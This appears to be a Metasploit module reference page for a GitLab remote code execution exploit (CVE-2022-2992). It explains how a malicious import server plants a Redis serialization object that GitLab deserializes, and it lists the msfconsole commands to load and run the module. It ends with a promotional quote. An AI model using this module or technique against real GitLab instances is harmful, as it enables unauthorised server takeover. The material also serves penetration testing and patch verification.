An authenticated user can import a repository from GitHub into GitLab. If a user attempts to import a repo from an attacker-controlled server, the server will reply with a Redis serialization protocol object in the nested `default_branch`. GitLab will cache this object and then deserialize it when trying to load a user session, resulting in RCE.
Linux,Unix
cmd
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/multi/http/gitlab_github_import_rce_cve_2022_2992
msf exploit(gitlab_github_import_rce_cve_2022_2992) > show targets
...targets...
msf exploit(gitlab_github_import_rce_cve_2022_2992) > set TARGET < target-id >
msf exploit(gitlab_github_import_rce_cve_2022_2992) > show options
...show and set options...
msf exploit(gitlab_github_import_rce_cve_2022_2992) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security